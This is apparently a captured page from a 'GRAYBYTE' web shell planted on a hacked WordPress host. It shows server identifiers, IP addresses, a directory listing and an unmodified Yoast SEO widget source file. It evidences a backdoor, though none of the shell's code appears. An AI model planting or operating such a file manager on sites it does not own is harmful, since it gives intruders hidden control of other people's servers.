✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/google_search_console//class-wincher-dashboard-widget.php
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Wincher dashboard widget.
 */
class Wincher_Dashboard_Widget implements WPSEO_WordPress_Integration {

	/**
	 * Holds an instance of the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Wincher_Dashboard_Widget constructor.
	 */
	public function __construct() {
		$this->asset_manager = new WPSEO_Admin_Asset_Manager();
	}

	/**
	 * Register WordPress hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_wincher_dashboard_assets' ] );
		add_action( 'admin_init', [ $this, 'queue_wincher_dashboard_widget' ] );
	}

	/**
	 * Adds the Wincher dashboard widget if it should be shown.
	 *
	 * @return void
	 */
	public function queue_wincher_dashboard_widget() {
		if ( $this->show_widget() ) {
			add_action( 'wp_dashboard_setup', [ $this, 'add_wincher_dashboard_widget' ] );
		}
	}

	/**
	 * Adds the Wincher dashboard widget to WordPress.
	 *
	 * @return void
	 */
	public function add_wincher_dashboard_widget() {
		add_filter( 'postbox_classes_dashboard_wpseo-wincher-dashboard-overview', [ $this, 'wpseo_wincher_dashboard_overview_class' ] );
		wp_add_dashboard_widget(
			'wpseo-wincher-dashboard-overview',
			/* translators: %1$s expands to Yoast SEO, %2$s to Wincher */
			sprintf( __( '%1$s / %2$s: Top Keyphrases', 'wordpress-seo' ), 'Yoast SEO', 'Wincher' ),
			[ $this, 'display_wincher_dashboard_widget' ],
		);
	}

	/**
	 * Adds CSS classes to the dashboard widget.
	 *
	 * @param array $classes An array of postbox CSS classes.
	 *
	 * @return array
	 */
	public function wpseo_wincher_dashboard_overview_class( $classes ) {
		$classes[] = 'yoast wpseo-wincherdashboard-overview';
		return $classes;
	}

	/**
	 * Displays the Wincher dashboard widget.
	 *
	 * @return void
	 */
	public function display_wincher_dashboard_widget() {
		echo '<div id="yoast-seo-wincher-dashboard-widget"></div>';
	}

	/**
	 * Enqueues assets for the dashboard if the current page is the dashboard.
	 *
	 * @return void
	 */
	public function enqueue_wincher_dashboard_assets() {
		if ( ! $this->is_dashboard_screen() ) {
			return;
		}

		$this->asset_manager->localize_script( 'wincher-dashboard-widget', 'wpseoWincherDashboardWidgetL10n', $this->localize_wincher_dashboard_script() );
		$this->asset_manager->enqueue_script( 'wincher-dashboard-widget' );
		$this->asset_manager->enqueue_style( 'wp-dashboard' );
		$this->asset_manager->enqueue_style( 'monorepo' );
	}

	/**
	 * Translates strings used in the Wincher dashboard widget.
	 *
	 * @return array The translated strings.
	 */
	public function localize_wincher_dashboard_script() {

		return [
			'wincher_is_logged_in' => YoastSEO()->helpers->wincher->login_status(),
			'wincher_website_id'   => WPSEO_Options::get( 'wincher_website_id', '' ),
		];
	}

	/**
	 * Checks if the current screen is the dashboard screen.
	 *
	 * @return bool Whether or not this is the dashboard screen.
	 */
	private function is_dashboard_screen() {
		$current_screen = get_current_screen();

		return ( $current_screen instanceof WP_Screen && $current_screen->id === 'dashboard' );
	}

	/**
	 * Returns true when the Wincher dashboard widget should be shown.
	 *
	 * @return bool
	 */
	private function show_widget() {
		$analysis_seo      = new WPSEO_Metabox_Analysis_SEO();
		$user_can_edit     = $analysis_seo->is_enabled() && current_user_can( 'edit_posts' );
		$is_wincher_active = YoastSEO()->helpers->wincher->is_active();

		return $user_can_edit && $is_wincher_active;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 Sep 2026 9.42 AM
docteuh / users
0777
03
--
19 Sep 2026 4.14 PM
docteuh / users
0755
07
--
11 Sep 2026 11.19 PM
docteuh / users
0755
08
--
4 Sep 2026 8.11 PM
docteuh / users
0755
Struct
--
12 Sep 2026 12.41 AM
docteuh / users
0755
ai-generator
--
11 Sep 2026 5.23 PM
docteuh / users
0755
application
--
30 Aug 2026 6.10 PM
docteuh / users
0755
assets
--
18 Sep 2026 2.25 AM
docteuh / users
0755
auth
--
11 Sep 2026 2.01 PM
docteuh / users
0755
cache
--
12 Sep 2026 8.19 AM
docteuh / users
0755
cache-runtime-store
--
18 Sep 2026 4.25 PM
docteuh / users
0755
colors
--
26 Sep 2026 6.29 PM
docteuh / users
0755
includes
--
12 Sep 2026 12.41 AM
docteuh / users
0755
infrastructure
--
19 Sep 2026 3.33 AM
docteuh / users
0755
langs
--
24 Sep 2026 3.30 PM
docteuh / users
0755
league
--
18 Sep 2026 6.29 AM
docteuh / users
0755
options
--
22 Sep 2026 2.32 PM
docteuh / users
0755
placeholders
--
10 Sep 2026 11.32 PM
docteuh / users
0755
public
--
12 Sep 2026 12.41 AM
docteuh / users
0755
repositories
--
10 Sep 2026 9.24 PM
docteuh / users
0755
src
--
22 Sep 2026 9.19 AM
docteuh / users
0755
statics
--
12 Sep 2026 12.41 AM
docteuh / users
0755
support
--
25 Sep 2026 7.43 PM
docteuh / users
0755
tribe-events
--
25 Sep 2026 1.59 PM
docteuh / users
0755
true
--
11 Sep 2026 2.01 PM
docteuh / users
0755
vendor
--
11 Sep 2026 2.47 PM
docteuh / users
0755
1a80b6.png
0.857 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
9db668.png
0.857 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
CNylQxUtV-20260827021753-20260830140322.mp2
5.258 KB
24 Jul 2026 8.52 PM
docteuh / users
0644
CNylQxUtV-20260827021753.mp2
5.258 KB
24 Jul 2026 8.52 PM
docteuh / users
0644
CurlFactory-20260905021222-20260906071221.php
27.876 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Image_License_Information.txt
1.771 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
avada-social-links.css
1.498 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-certificate.php
7.388 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
class-gsc.php
0.432 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-wincher-dashboard-widget.php
3.531 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
class-yoast-notification-center.php
26.023 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103532-20260829105142-20260902211042-20260902235851-20260903134949-20260904201920-20260904202453-20260909080911-20260909123024.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
progress.scss
5.311 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
wp-links-opml.php
2.435 KB
3 Dec 2025 3.48 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF